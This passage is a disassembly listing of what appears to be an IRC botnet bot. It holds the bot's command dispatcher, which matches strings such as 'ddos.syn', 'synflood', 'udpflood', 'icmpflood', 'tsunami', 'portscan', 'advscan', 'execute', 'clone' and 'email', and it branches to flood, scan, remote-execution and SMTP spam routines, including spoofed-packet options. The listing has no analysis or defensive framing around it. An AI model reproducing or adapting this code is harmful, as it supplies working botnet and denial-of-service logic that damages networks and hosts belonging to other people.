2680000h mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call near ptr 2670F10h nop jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j call near ptr 26807C8h nop push eax push offset dword_42AECC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB074, ebx jz short loc_40604E cmp dword_4CB09C, ebx jz short loc_40604E push offset unk_42AE90 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE44 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADFC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADDC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42ADB4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD94 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD68 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD4C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B530 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h call near ptr 2670F10h nop jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 26807C8h push eax push offset unk_42ABBC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB74 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2670F10h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 26807C8h push eax push offset dword_42AB38 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA60 ; " " push offset dword_42B52C push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAF14 lea eax, [ebp+var_47EC] push eax call dword_4CB028 push 6 push 1 push 2 mov edi, eax call dword_4CB024 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAFA4 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF4C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAFBC lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFF4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAFBC push esi call dword_4CB03C call dword_4CAEFC lea eax, [ebp+var_4588] push eax push offset unk_42A9FC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A9B4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A970 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h nop call near ptr 2670F10h jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j call near ptr 26807C8h nop push eax push offset unk_42A938 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A900 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB094, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A8B8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h nop call near ptr 2670F10h jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 26807C8h push eax push offset unk_42A880 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A82C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7F4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A7C0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A78C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A744 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h nop call near ptr 2670F10h jmp short loc_40724B ; 